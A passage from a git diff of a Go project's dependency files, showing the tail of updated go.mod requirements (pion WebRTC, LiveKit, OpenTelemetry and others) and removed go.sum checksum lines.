v0.0.0-20180508042940-11479a337f12 + github.com/ory/dockertest/v3 v3.12.0 + github.com/pion/rtp v1.10.5 + github.com/pion/dtls/v3 v3.1.5 + github.com/pion/sdp/v3 v3.0.19 + github.com/pion/srtp/v3 v3.0.12 + github.com/pion/webrtc/v4 v4.2.18 + github.com/prometheus/client_golang v1.24.1 + github.com/sirupsen/logrus v1.9.4 + github.com/stretchr/testify v1.12.0 + go.opentelemetry.io/otel v1.44.0 + go.opentelemetry.io/otel/trace v1.44.0 + golang.org/x/exp v0.0.0-20260603202125-055de637280b + google.golang.org/protobuf v1.36.12 + gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302 + gopkg.in/yaml.v3 v3.0.1 +) + +require github.com/petermattis/goid v0.0.0-20260725062400-500c67a39b75 // indirect + +require ( + buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.11-20260415201107-50325440f8f2.1 // indirect + buf.build/go/protovalidate v1.2.0 // indirect + buf.build/go/protoyaml v0.7.0 // indirect + cel.dev/expr v0.25.2 // indirect + dario.cat/mergo v1.0.0 // indirect + github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c // indirect + github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29 // indirect + github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect + github.com/antlr4-go/antlr/v4 v4.13.1 // indirect + github.com/benbjohnson/clock v1.3.5 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/bep/debounce v1.2.1 // indirect + github.com/cenkalti/backoff/v4 v4.3.0 // indirect + github.com/cenkalti/backoff/v5 v5.0.3 // indirect + github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/containerd/continuity v0.5.0 // indirect + github.com/containerd/errdefs v1.0.0 // indirect + github.com/containerd/errdefs/pkg v0.3.0 // indirect + github.com/dennwc/iters v1.2.2 // indirect + github.com/distribution/reference v0.6.0 // indirect + github.com/docker/cli v29.2.0+incompatible // indirect + github.com/docker/go-connections v0.7.0 // indirect + github.com/docker/go-units v0.5.0 // indirect + github.com/emiago/sipgo v1.5.0 + github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/fsnotify/fsnotify v1.10.1 // indirect + github.com/gammazero/deque v1.2.1 // indirect + github.com/go-logr/logr v1.4.4 + github.com/go-logr/stdr v1.2.2 // indirect + github.com/go-viper/mapstructure/v2 v2.4.0 // indirect + github.com/gobwas/httphead v0.1.0 // indirect + github.com/gobwas/pool v0.2.1 // indirect + github.com/gobwas/ws v1.4.0 // indirect + github.com/golang-jwt/jwt/v5 v5.3.1 // indirect + github.com/google/cel-go v0.29.0 // indirect + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 // indirect + github.com/gotranspile/g722 v0.0.0-20240123003956-384a1bb16a19 // indirect + github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect + github.com/jfreymuth/vorbis v1.0.2 // indirect + github.com/jxskiss/base62 v1.1.0 // indirect + github.com/klauspost/compress v1.19.1 // indirect + github.com/klauspost/cpuid/v2 v2.3.0 // indirect + github.com/lithammer/shortuuid/v4 v4.2.0 // indirect + github.com/livekit/amrwb-cgo v0.0.0-20260612153743-6d4b69dc1470 // indirect + github.com/mackerelio/go-osstat v0.2.8 // indirect + github.com/magefile/mage v1.17.2 // indirect + github.com/moby/docker-image-spec v1.3.1 // indirect + github.com/moby/moby/api v1.54.2 // indirect + github.com/moby/moby/client v0.4.1 // indirect + github.com/moby/sys/user v0.3.0 // indirect + github.com/moby/term v0.5.2 // indirect + github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect + github.com/nats-io/nats.go v1.52.0 // indirect + github.com/nats-io/nkeys v0.4.16 // indirect + github.com/nats-io/nuid v1.0.1 // indirect + github.com/nyaruka/phonenumbers v1.8.1 // indirect + github.com/opencontainers/go-digest v1.0.0 // indirect + github.com/opencontainers/image-spec v1.1.1 // indirect + github.com/opencontainers/runc v1.3.3 // indirect + github.com/pion/datachannel v1.6.2 // indirect + github.com/pion/ice/v4 v4.4.0 // indirect + github.com/pion/interceptor v0.1.47 // indirect + github.com/pion/logging v0.2.4 // indirect + github.com/pion/mdns/v2 v2.1.0 // indirect + github.com/pion/randutil v0.1.0 // indirect + github.com/pion/rtcp v1.2.17 // indirect + github.com/pion/sctp v1.11.1 // indirect + github.com/pion/stun/v3 v3.1.6 // indirect + github.com/pion/transport/v4 v4.0.2 // indirect + github.com/pion/turn/v5 v5.0.12 // indirect + github.com/prometheus/client_model v0.6.2 // indirect + github.com/prometheus/common v0.70.1 // indirect + github.com/prometheus/procfs v0.21.1 // indirect + github.com/puzpuzpuz/xsync/v4 v4.5.0 // indirect + github.com/redis/go-redis/v9 v9.22.0 // indirect + github.com/twitchtv/twirp v8.1.3+incompatible // indirect + github.com/urfave/cli/v3 v3.9.0 + github.com/wlynxg/anet v0.0.5 // indirect + github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect + github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect + github.com/xeipuuv/gojsonschema v1.2.0 // indirect + github.com/zeebo/xxh3 v1.1.0 // indirect + go.opentelemetry.io/auto/sdk v1.2.1 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0 // indirect + go.opentelemetry.io/otel/metric v1.44.0 // indirect + go.opentelemetry.io/otel/sdk v1.44.0 // indirect + go.opentelemetry.io/proto/otlp v1.10.0 // indirect + go.uber.org/atomic v1.11.0 // indirect + go.uber.org/multierr v1.11.0 // indirect + go.uber.org/zap v1.28.0 // indirect + go.uber.org/zap/exp v0.3.0 // indirect + go.yaml.in/yaml/v3 v3.0.5 // indirect + golang.org/x/crypto v0.54.0 // indirect + golang.org/x/net v0.57.0 // indirect + golang.org/x/sync v0.22.0 // indirect + golang.org/x/sys v0.47.0 // indirect + golang.org/x/text v0.40.0 // indirect + golang.org/x/time v0.15.0 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa // indirect + google.golang.org/grpc v1.83.1 +) diff --git a/go.sum b/go.sum index 24e3fb0da..d83b90354 100644 --- a/go.sum +++ b/go.sum @@ -1,329 +1,329 @@ -buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.11-20260415201107-50325440f8f2.1 h1:s6hzCXtND/ICdGPTMGk7C+/BFlr2Jg5GyH0NKf4XGXg= -buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.11-20260415201107-50325440f8f2.1/go.mod h1:tvtbpgaVXZX4g6Pn+AnzFycuRK3MOz5HJfEGeEllXYM= -buf.build/go/protovalidate v1.2.0 h1:DQVrUWkmGTBij+kOYv/x2LLxwcLaGKMdzShj1/6/3H0= -buf.build/go/protovalidate v1.2.0/go.mod h1:7rYiQEhqvAipoazpVNBBH2S2f8bjG4huMVy1V2Yofn4= -buf.build/go/protoyaml v0.7.0 h1:z4oVoFicbpPefhT7WAykxUdfp0yEQlhMQ2mCZOY5V38= -buf.build/go/protoyaml v0.7.0/go.mod h1:+a0cavd0uMvirb87xdu2ZMMmjlIQoiH/N2Ich5MGSQ0= -cel.dev/expr v0.25.2 h1:K6j46C81hXtZQfuX60cVWQFBJahKSE2gfRbNuvr5bFs= -cel.dev/expr v0.25.2/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4= -dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= -dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= -filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= -filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= -github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c h1:udKWzYgxTojEKWjV8V+WSxDXJ4NFATAsZjh8iIbsQIg= -github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= -github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29 h1:0kQAzHq8vLs7Pptv+7TxjdETLf/nIqJpIB4oC6Ba4vY= -github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29/go.mod h1:ZWa7ssZJT30CCDGJ7fk/2SBTq9BIQrrVjrcss0UW2s0= -github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 h1:TngWCqHvy9oXAN6lEVMRuU21PR1EtLVZJmdB18Gu3Rw= -github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= -github.com/antlr4-go/antlr/v4 v4.13.1 h1:SqQKkuVZ+zWkMMNkjy5FZe5mr5WURWnlpmOuzYWrPrQ= -github.com/antlr4-go/antlr/v4 v4.13.1/go.mod h1:GKmUxMtwp6ZgGwZSva4eWPC5mS6vUAmOABFgjdkM7Nw= -github.com/at-wat/ebml-go v0.18.0 h1:SNkpBFR4jCQV1rI4Bm1tSuIYnusxe2qQ4GHJia9eQg4= -github.com/at-wat/ebml-go v0.18.0/go.mod h1:w1cJs7zmGsb5nnSvhWGKLCxvfu4FVx5ERvYDIalj1ww= -github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o= -github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= -github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= -github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bep/debounce v1.2.1 h1:v67fRdBA9UQu2NhLFXrSg0Brw7CexQekrBwDMM8bzeY= -github.com/bep/debounce v1.2.1/go.mod h1:H8yggRPQKLUhUoqrJC1bO2xNya7vanpDl7xR3ISbCJ0= -github.com/brianvoe/gofakeit/v6 v6.28.0 h1:Xib46XXuQfmlLS2EXRuJpqcw8St6qSZz75OUo0tgAW4= -github.com/brianvoe/gofakeit/v6 v6.28.0/go.mod h1:Xj58BMSnFqcn/fAQeSK+/PLtC5kSb7FJIq4JyGa8vEs= -github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= -github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= -github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= -github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= -github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= -github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= -github.com/cenkalti/backoff/v5 v5.0.3 h1:ZN+IMa753KfX5hd8vVaMixjnqRZ3y8CuJKRKj1xcsSM= -github.com/cenkalti/backoff/v5 v5.0.3/go.mod h1:rkhZdG3JZukswDf7f0cwqPNk4K0sa+F97BxZthm/crw= -github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= -github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/containerd/continuity v0.5.0 h1:7a85HZpCSs+1Zps0Ee3DPSuAWY+0SJM1JNM51nlEVDg= -github.com/containerd/continuity v0.5.0/go.mod h1:/lNJvtJKUQStBzpVQ1+rasXO1LAWtUQssk28EZvJ3nE= -github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI= -github.com/containerd/errdefs v1.0.0/go.mod h1:+YBYIdtsnF4Iw6nWZhJcqGSg/dwvV7tyJ/kCkyJ2k+M= -github.com/containerd/errdefs/pkg v0.3.0 h1:9IKJ06FvyNlexW690DXuQNx2KA2cUJXx151Xdx3ZPPE= -github.com/containerd/errdefs/pkg v0.3.0/go.mod h1:NJw6s9HwNuRhnjJhM7pylWwMyAkmCQvQ4GpJHEqRLVk= -github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= -github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dennwc/iters v1.2.2 h1:XH2/Etihiy9ZvPOVCR+icQXeYlhbvS7k0qro4x/2qQo= -github.com/dennwc/iters v1.2.2/go.mod h1:M9KuuMBeyEXYTmB7EnI9SCyALFCmPWOIxn5W1L0CjGg= -github.com/distribution/reference v0.6.0 h1:0IXCQ5g4/QMHHkarYzh5l+u8T3t73zM5QvfrDyIgxBk= -github.com/distribution/reference v0.6.0/go.mod h1:BbU0aIcezP1/5jX/8MP0YiH4SdvB5Y4f/wlDRiLyi3E= -github.com/docker/cli v29.2.0+incompatible h1:9oBd9+YM7rxjZLfyMGxjraKBKE4/nVyvVfN4qNl9XRM= -github.com/docker/cli v29.2.0+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= -github.com/docker/go-connections v0.7.0 h1:6SsRfJddP22WMrCkj19x9WKjEDTB+ahsdiGYf0mN39c= -github.com/docker/go-connections v0.7.0/go.mod h1:no1qkHdjq7kLMGUXYAduOhYPSJxxvgWBh7ogVvptn3Q= -github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4= -github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= -github.com/emiago/sipgo v1.5.0 h1:YVq5Rw5eVN4DRsB5MoBBiiurpHXXCjJstaH9cTvrlyI= -github.com/emiago/sipgo v1.5.0/go.mod h1:DuwAxBZhKMqIzQFPGZb1MVAGU6Wuxj64oTOhd5dx/FY= -github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= -github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= -github.com/frostbyte73/core v0.1.1 h1:ChhJOR7bAKOCPbA+lqDLE2cGKlCG5JXsDvvQr4YaJIA= -github.com/frostbyte73/core v0.1.1/go.mod h1:mhfOtR+xWAvwXiwor7jnqPMnu4fxbv1F2MwZ0BEpzZo= -github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= -github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= -github.com/gammazero/deque v1.2.1 h1:9fnQVFCCZ9/NOc7ccTNqzoKd1tCWOqeI05/lPqFPMGQ= -github.com/gammazero/deque v1.2.1/go.mod h1:5nSFkzVm+afG9+gy0VIowlqVAW4N8zNcMne+CMQVD2g= -github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= -github.com/go-logr/logr v1.4.4 h1:tG4xh9yMsRCAiodLVTxyrkzSZ9+o0L1Kg/+cPVcbP/8= -github.com/go-logr/logr v1.4.4/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= -github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= -github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= -github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= -github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= -github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs= -github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= -github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= -github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= -github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= -github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= -github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= -github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= -github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= -github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= -github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= -github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= -github.com/google/cel-go v0.29.0 h1:fEG+Ja3YRwNOqnQxTyJwoByAUAvTuxUGiro/jhrm4F4= -github.com/google/cel-go v0.29.0/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= -github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= -github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= -github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= -github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 h1:JeSE6pjso5THxAzdVpqr6/geYxZytqFMBCOtn/ujyeo= -github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674/go.mod h1:r4w70xmWCQKmi1ONH4KIaBptdivuRPyosB9RmPlGEwA= -github.com/gotranspile/g722 v0.0.0-20240123003956-384a1bb16a19 h1:vqA29ogkaaq2GxFQsMA8TTFUSGc1lGaZtnKbuiP840c= -github.com/gotranspile/g722 v0.0.0-20240123003956-384a1bb16a19/go.mod h1:AcVi4yM6DRZscpQXsEWBPItD52Saqw0x7md4mmjzUi8= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs= -github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= -github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= -github.com/icholy/digest v1.1.0 h1:HfGg9Irj7i+IX1o1QAmPfIBNu/Q5A5Tu3n/MED9k9H4= -github.com/icholy/digest v1.1.0/go.mod h1:QNrsSGQ5v7v9cReDI0+eyjsXGUoRSUZQHeQ5C4XLa0Y= -github.com/jfreymuth/oggvorbis v1.0.5 h1:u+Ck+R0eLSRhgq8WTmffYnrVtSztJcYrl588DM4e3kQ= -github.com/jfreymuth/oggvorbis v1.0.5/go.mod h1:1U4pqWmghcoVsCJJ4fRBKv9peUJMBHixthRlBeD6uII= -github.com/jfreymuth/vorbis v1.0.2 h1:m1xH6+ZI4thH927pgKD8JOH4eaGRm18rEE9/0WKjvNE= -github.com/jfreymuth/vorbis v1.0.2/go.mod h1:DoftRo4AznKnShRl1GxiTFCseHr4zR9BN3TWXyuzrqQ= -github.com/jxskiss/base62 v1.1.0 h1:A5zbF8v8WXx2xixnAKD2w+abC+sIzYJX+nxmhA6HWFw= -github.com/jxskiss/base62 v1.1.0/go.mod h1:HhWAlUXvxKThfOlZbcuFzsqwtF5TcqS9ru3y5GfjWAc= -github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= -github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= -github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= -github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= -github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= -github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= -github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lithammer/shortuuid/v4 v4.2.0 h1:LMFOzVB3996a7b8aBuEXxqOBflbfPQAiVzkIcHO0h8c= -github.com/lithammer/shortuuid/v4 v4.2.0/go.mod h1:D5noHZ2oFw/YaKCfGy0YxyE7M0wMbezmMjPdhyEFe6Y= -github.com/livekit/amrwb-cgo v0.0.0-20260612153743-6d4b69dc1470 h1:pYml12Ue55jDhrjJoQg+w8W+0PY9wlNsTo6INGwzOfU= -github.com/livekit/amrwb-cgo v0.0.0-20260612153743-6d4b69dc1470/go.mod h1:nGBFrVVLyO0RlyM2pWnP/VKaZO6W3rzecL/YlkTPkW8= -github.com/livekit/mageutil v0.0.0-20250511045019-0f1ff63f7731 h1:9x+U2HGLrSw5ATTo469PQPkqzdoU7be46ryiCDO3boc= -github.com/livekit/mageutil v0.0.0-20250511045019-0f1ff63f7731/go.mod h1:Rs3MhFwutWhGwmY1VQsygw28z5bWcnEYmS1OG9OxjOQ= -github.com/livekit/media-sdk v0.0.0-20260824180721-c8704a7f6202 h1:gTBWQlLWGklTniaX78V4RyGTnz16hhWOQZoOuu+xu9Y= -github.com/livekit/media-sdk v0.0.0-20260824180721-c8704a7f6202/go.mod h1:TuYRjSepaakL6ATsM9V2VMuksewW1PlhA32BG7Pxty0= -github.com/livekit/mediatransportutil v0.0.0-20260727210231-81a5287a7109 h1:jLE+M9fTj4HeTZSy4T7wD1M42uOeBnbzmoCoWDsTBQI= -github.com/livekit/mediatransportutil v0.0.0-20260727210231-81a5287a7109/go.mod h1:o8CFmAdrVwzJNOCsQCLUzXRjokkufNshnQHOe4fRaqU= -github.com/livekit/protocol v1.51.1-0.20260905133529-a4f4b5c0c23f h1:+48IWNrsoTgbB0JGv+xJl4umx6e/vh1BX1Tcokuacwc= -github.com/livekit/protocol v1.51.1-0.20260905133529-a4f4b5c0c23f/go.mod h1:zxowkRnQlJ2VMn6ZyinXMDi985wcKXuWNeXmEERqFAs= -github.com/livekit/psrpc v0.7.6 h1:YG07lUMTtf+eaYI2goT9zcVZ0kGJNWN1K6ETNFtv1HQ= -github.com/livekit/psrpc v0.7.6/go.mod h1:DMw15RO7x5XmcgfwzWJYk2In605kx+wu1QRVbPfzf8M= -github.com/livekit/server-sdk-go/v2 v2.18.2-0.20260821165736-9b5928e4fcb8 h1:ztpx/fsWaP+IZ2PcuvRO6MGiMDNxwcYptx9bxcK2TSo= -github.com/livekit/server-sdk-go/v2 v2.18.2-0.20260821165736-9b5928e4fcb8/go.mod h1:qkHEZCUjVLpBs2zIhDo7zbX5f1mehGAROkRkPNSyfpc= -github.com/livekit/sipgo v0.13.2-0.20260519205735-a5b4a38b6ceb h1:HmgaJMGs0Nco/Z+XMc9f+xFgrbood9yJsIBtl1OY76M= -github.com/livekit/sipgo v0.13.2-0.20260519205735-a5b4a38b6ceb/go.mod h1:aDa6mbFktNzA1D917RhFlIB5IOfNBTmrwt+/lX960j0= -github.com/mackerelio/go-osstat v0.2.8 h1:I2duicTaCGWoM53XwAwA9OIe1inu0xnVs8/pqOWWVr4= -github.com/mackerelio/go-osstat v0.2.8/go.mod h1:SyS3XxKdoSKJnTGTkN5Yrh6VUQVuAURACfE6y+2DN4k= -github.com/magefile/mage v1.17.2 h1:fyXVu1eadI8Ap1HCCNgEhJ5McIWiYhLR8uol64ZZc40= -github.com/magefile/mage v1.17.2/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA= -github.com/mjibson/go-dsp v0.0.0-20180508042940-11479a337f12 h1:dd7vnTDfjtwCETZDrRe+GPYNLA1jBtbZeyfyE8eZCyk= -github.com/mjibson/go-dsp v0.0.0-20180508042940-11479a337f12/go.mod h1:i/KKcxEWEO8Yyl11DYafRPKOPVYTrhxiTRigjtEEXZU= -github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0= -github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo= -github.com/moby/moby/api v1.54.2 h1:wiat9QAhnDQjA7wk1kh/TqHz2I1uUA7M7t9SAl/JNXg= -github.com/moby/moby/api v1.54.2/go.mod h1:+RQ6wluLwtYaTd1WnPLykIDPekkuyD/ROWQClE83pzs= -github.com/moby/moby/client v0.4.1 h1:DMQgisVoMkmMs7fp3ROSdiBnoAu8+vo3GggFl06M/wY= -github.com/moby/moby/client v0.4.1/go.mod h1:z52C9O2POPOsnxZAy//WtKcQ32P+jT/NGeXu/7nfjGQ= -github.com/moby/sys/user v0.3.0 h1:9ni5DlcW5an3SvRSx4MouotOygvzaXbaSrc/wGDFWPo= -github.com/moby/sys/user v0.3.0/go.mod h1:bG+tYYYJgaMtRKgEmuueC0hJEAZWwtIbZTB+85uoHjs= -github.com/moby/term v0.5.2 h1:6qk3FJAFDs6i/q3W/pQ97SX192qKfZgGjCQqfCJkgzQ= -github.com/moby/term v0.5.2/go.mod h1:d3djjFCrjnB+fl8NJux+EJzu0msscUP+f8it8hPkFLc= -github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= -github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= -github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc= -github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno= -github.com/nats-io/nkeys v0.4.16 